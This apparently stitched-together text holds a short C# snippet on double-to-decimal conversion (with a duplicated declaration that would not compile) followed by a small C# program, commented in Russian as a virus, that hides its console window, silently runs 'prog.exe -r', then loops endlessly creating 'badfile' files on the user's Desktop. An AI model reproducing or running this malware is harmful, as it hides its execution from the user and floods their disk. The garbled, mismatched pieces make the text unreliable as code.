double d = 1725040000979649;
long l = (long)d;
decimal result1 = (decimal)d; // 1725040000979650
decimal result2 = (decimal)l; // 1725040000979649

decimal result2 = (long)d;

using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.Diagnostics;
class Admin
{
 [DllImport("kernel32.dll")]
        static extern IntPtr GetConsoleWindow();
    [DllImport("user32.dll")]

// Настройка нужных переменных
        static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
        const int SW_HIDE = 0;
        const int SW_SHOW = 5;
 static void Main()
 {

// Скрываем программу 
         var handle = GetConsoleWindow();
            ShowWindow(handle, SW_HIDE);
          Process pr = new Process();
                pr.StartInfo.FileName = "prog.exe";
                pr.StartInfo.Arguments = "-r";
                pr.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
                pr.Start();
                pr.WaitForExit();
  int i=0;

// Сам вирус =)
  while(true){
   i=i+1;
  System.IO.StreamWriter sw = new System.IO.StreamWriter(@"C:\Users\"+Environment.UserName+ @"\Desktop\badfile"+i);
        } 
 }
}